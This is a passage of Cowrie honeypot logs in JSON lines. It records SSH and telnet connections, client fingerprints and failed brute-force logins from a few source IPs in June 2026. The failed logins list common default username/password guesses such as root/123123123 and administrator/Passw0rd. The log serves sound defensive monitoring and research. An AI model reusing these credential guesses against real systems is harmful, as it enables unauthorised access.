f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:31.036340Z","src_ip":"45.78.204.254","session":"a34236cfaa43","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:31.252658Z","src_ip":"91.92.40.36","session":"70e824a46b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:31.258727Z","src_ip":"91.92.40.36","session":"70e824a46b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"12345","message":"login attempt [azureuser/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:31.430458Z","src_ip":"91.92.40.36","session":"e007658d5aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aurora","password":"aurora","message":"login attempt [aurora/aurora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:33.143423Z","src_ip":"45.78.204.254","session":"a34236cfaa43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:33.152481Z","src_ip":"91.92.40.36","session":"70e824a46b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:33.888479Z","src_ip":"91.92.40.36","session":"e007658d5aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:34.593744Z","src_ip":"91.92.40.36","session":"70e824a46b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:35.316034Z","src_ip":"45.78.204.254","session":"a34236cfaa43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64810,"dst_ip":"10.17.0.5","dst_port":22,"session":"48222f536f39","protocol":"ssh","message":"New connection: 91.92.40.36:64810 (10.17.0.5:22) [session: 48222f536f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:38.118570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:38.777767Z","src_ip":"91.92.40.36","session":"48222f536f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:38.781137Z","src_ip":"91.92.40.36","session":"48222f536f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:40.794871Z","src_ip":"91.92.40.36","session":"48222f536f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:42.095263Z","src_ip":"91.92.40.36","session":"48222f536f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":37796,"dst_ip":"159.203.135.109","dst_port":22,"session":"00be863684f0","protocol":"ssh","message":"New connection: 129.146.243.24:37796 (159.203.135.109:22) [session: 00be863684f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:43.385417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:43.391693Z","src_ip":"129.146.243.24","session":"00be863684f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:43.487055Z","src_ip":"129.146.243.24","session":"00be863684f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webtest","password":"123456","message":"login attempt [webtest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:43.886772Z","src_ip":"129.146.243.24","session":"00be863684f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:44.984908Z","src_ip":"129.146.243.24","session":"00be863684f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12882,"dst_ip":"10.17.0.5","dst_port":22,"session":"a158886129a3","protocol":"ssh","message":"New connection: 91.92.40.36:12882 (10.17.0.5:22) [session: a158886129a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:46.002308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:46.162697Z","src_ip":"91.92.40.36","session":"a158886129a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:46.374506Z","src_ip":"91.92.40.36","session":"a158886129a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":54732,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b3c41c869cc","protocol":"telnet","message":"New connection: 94.23.66.112:54732 (10.17.0.5:23) [session: 5b3c41c869cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:46.895534Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:47.623163Z","src_ip":"91.92.40.36","session":"a158886129a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:48.851904Z","src_ip":"91.92.40.36","session":"a158886129a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12892,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e9832506c4c","protocol":"ssh","message":"New connection: 91.92.40.36:12892 (10.17.0.5:22) [session: 4e9832506c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:53.702876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:53.818486Z","src_ip":"91.92.40.36","session":"4e9832506c4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:53.821902Z","src_ip":"91.92.40.36","session":"4e9832506c4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:54.708832Z","src_ip":"91.92.40.36","session":"4e9832506c4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:47:56.221116Z","src_ip":"91.92.40.36","session":"4e9832506c4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44076,"dst_ip":"10.17.0.5","dst_port":22,"session":"30539a27f3fc","protocol":"ssh","message":"New connection: 91.92.40.36:44076 (10.17.0.5:22) [session: 30539a27f3fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:00.530777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:00.914029Z","src_ip":"91.92.40.36","session":"30539a27f3fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:00.916893Z","src_ip":"91.92.40.36","session":"30539a27f3fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:02.804569Z","src_ip":"91.92.40.36","session":"30539a27f3fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:04.510520Z","src_ip":"91.92.40.36","session":"30539a27f3fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55472,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4db82430ff6","protocol":"ssh","message":"New connection: 91.92.40.36:55472 (10.17.0.5:22) [session: b4db82430ff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:07.546773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:08.334731Z","src_ip":"91.92.40.36","session":"b4db82430ff6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:08.338101Z","src_ip":"91.92.40.36","session":"b4db82430ff6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:12.315951Z","src_ip":"91.92.40.36","session":"b4db82430ff6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:15.045980Z","src_ip":"91.92.40.36","session":"b4db82430ff6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55506,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cade9cb4012","protocol":"ssh","message":"New connection: 91.92.40.36:55506 (10.17.0.5:22) [session: 0cade9cb4012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:15.793231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:17.108635Z","src_ip":"91.92.40.36","session":"0cade9cb4012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:17.111970Z","src_ip":"91.92.40.36","session":"0cade9cb4012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28412,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6bbbcaa61da","protocol":"ssh","message":"New connection: 91.92.40.36:28412 (10.17.0.5:22) [session: c6bbbcaa61da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:23.959930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:48:24.223973Z","src_ip":"91.92.40.36","session":"c6bbbcaa61da","protocol":"ssh"}
